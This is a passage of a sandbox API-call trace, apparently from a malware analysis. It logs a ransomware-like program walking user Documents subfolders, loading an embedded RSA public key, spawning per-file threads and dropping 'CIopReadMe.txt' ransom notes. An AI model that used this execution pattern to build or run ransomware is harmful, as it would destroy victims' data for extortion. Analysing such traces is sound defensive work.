lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" [0089.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0089.990] SetErrorMode (uMode=0x1) returned 0x1 [0089.990] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\CIopReadMe.txt") returned 58 [0089.990] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my pictures\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.990] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0089.990] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0089.990] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0089.990] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0089.990] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0089.990] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my pictures\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec [0089.991] WriteFile (in: hFile=0x3ec, lpBuffer=0x612918*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc6e04, lpOverlapped=0x0 | out: lpBuffer=0x612918*, lpNumberOfBytesWritten=0x2dc6e04*=0x759, lpOverlapped=0x0) returned 1 [0089.991] CloseHandle (hObject=0x3ec) returned 1 [0089.992] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0089.992] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0089.992] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0089.992] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0089.992] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*" [0089.992] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0089.992] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="My Pictures" [0089.992] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0089.992] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0089.992] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0089.992] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0089.992] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.992] lstrcmpW (lpString1="My Shapes", lpString2="..") returned 1 [0089.992] lstrcmpW (lpString1="My Shapes", lpString2=".") returned 1 [0089.992] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0089.992] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.992] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0089.992] SetErrorMode (uMode=0x1) returned 0x1 [0089.992] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0089.992] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0089.992] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0089.993] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*" [0089.993] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x5b67f8 [0089.996] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="My Shapes" [0089.996] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My Shapes" [0089.996] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0089.998] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0089.998] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0089.998] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0089.998] lstrlenW (lpString="desktop.ini") returned 11 [0089.998] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0089.998] lstrcmpW (lpString1="Favorites.vssx", lpString2="..") returned 1 [0089.998] lstrcmpW (lpString1="Favorites.vssx", lpString2=".") returned 1 [0089.998] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned 46 [0089.998] Sleep (dwMilliseconds=0xd) [0090.012] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.012] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="Favorites.vssx" | out: lpString1="Favorites.vssx") returned="Favorites.vssx" [0090.013] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0090.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0 [0090.013] SetErrorMode (uMode=0x1) returned 0x1 [0090.013] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CIopReadMe.txt") returned 56 [0090.013] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.013] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0090.013] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0090.013] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0090.013] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0090.013] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0090.013] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4 [0090.016] WriteFile (in: hFile=0x3f4, lpBuffer=0x612918*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc6e04, lpOverlapped=0x0 | out: lpBuffer=0x612918*, lpNumberOfBytesWritten=0x2dc6e04*=0x759, lpOverlapped=0x0) returned 1 [0090.017] CloseHandle (hObject=0x3f4) returned 1 [0090.017] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.017] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0090.017] FindClose (in: hFindFile=0x5b67f8 | out: hFindFile=0x5b67f8) returned 1 [0090.017] FindClose (in: hFindFile=0x5b67f8 | out: hFindFile=0x5b67f8) returned 0 [0090.017] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0090.017] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*" [0090.017] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x5b67f8 [0090.017] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="My Shapes" [0090.017] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My Shapes" [0090.017] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0090.017] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.017] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.017] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0090.017] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.018] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.018] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.018] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.018] lstrcmpW (lpString1="_private", lpString2="..") returned 1 [0090.018] lstrcmpW (lpString1="_private", lpString2=".") returned 1 [0090.018] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0090.018] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0090.018] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0090.018] SetErrorMode (uMode=0x1) returned 0x1 [0090.018] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0090.018] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" [0090.018] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" [0090.018] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*" [0090.018] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x5b68f8 [0090.018] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="_private" [0090.018] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0090.018] FindNextFileW (in: hFindFile=0x5b68f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.018] FindNextFileW (in: hFindFile=0x5b68f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.018] lstrcmpW (lpString1="folder.ico", lpString2="..") returned 1 [0090.018] lstrcmpW (lpString1="folder.ico", lpString2=".") returned 1 [0090.018] wsprintfW (in: param_1=0x2dc61c8, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned 55 [0090.018] Sleep (dwMilliseconds=0xd) [0090.044] lstrcpyA (in: lpString1=0x2dc5610, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.044] lstrcpyW (in: lpString1=0x2dc5b6e, lpString2="folder.ico" | out: lpString1="folder.ico") returned="folder.ico" [0090.044] lstrcpyW (in: lpString1=0x2dc576e, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" [0090.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc5610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8 [0090.044] WaitForSingleObject (hHandle=0x3f8, dwMilliseconds=0xffffffff) returned 0x0 [0090.113] SetErrorMode (uMode=0x1) returned 0x1 [0090.113] wsprintfW (in: param_1=0x2dc51d4, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\CIopReadMe.txt") returned 65 [0090.113] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\_private\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.114] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0090.114] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0090.114] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0090.114] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0090.114] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0090.114] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\_private\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x404 [0090.114] WriteFile (in: hFile=0x404, lpBuffer=0x612918*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc51cc, lpOverlapped=0x0 | out: lpBuffer=0x612918*, lpNumberOfBytesWritten=0x2dc51cc*=0x759, lpOverlapped=0x0) returned 1 [0090.115] CloseHandle (hObject=0x404) returned 1 [0090.115] FindNextFileW (in: hFindFile=0x5b68f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0090.115] FindClose (in: hFindFile=0x5b68f8 | out: hFindFile=0x5b68f8) returned 1 [0090.116] FindClose (in: hFindFile=0x5b68f8 | out: hFindFile=0x5b68f8) returned 0 [0090.116] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0090.116] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*" [0090.116] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x5d6488 [0090.116] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="_private" [0090.116] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0090.116] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0090.116] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.117] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.117] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0090.117] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.117] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.117] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0090.117] FindClose (in: hFindFile=0x5d6488 | out: hFindFile=0x5d6488) returned 1 [0090.117] FindClose (in: hFindFile=0x5d6488 | out: hFindFile=0x5d6488) returned 0 [0090.117] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0090.117] FindClose (in: hFindFile=0x5b67f8 | out: hFindFile=0x5b67f8) returned 1 [0090.117] FindClose (in: hFindFile=0x5b67f8 | out: hFindFile=0x5b67f8) returned 0 [0090.117] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0090.117] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1 [0090.117] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1 [0090.117] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0090.117] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0090.117] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0090.117] SetErrorMode (uMode=0x1) returned 0x1 [0090.117] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0090.117] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0090.117] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0090.117] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*" [0090.117] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0090.117] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="My Videos" [0090.117] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0090.118] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0090.118] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0090.118] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0090.118] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0090.118] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*" [0090.118] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0090.118] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="My Videos" [0090.118] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0090.118] lstrcmpW (lpString1="_private", lpString2="..") returned 1 [0090.118] lstrcmpW (lpString1="_private", lpString2=".") returned 1 [0090.118] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0090.118] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0090.118] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\", 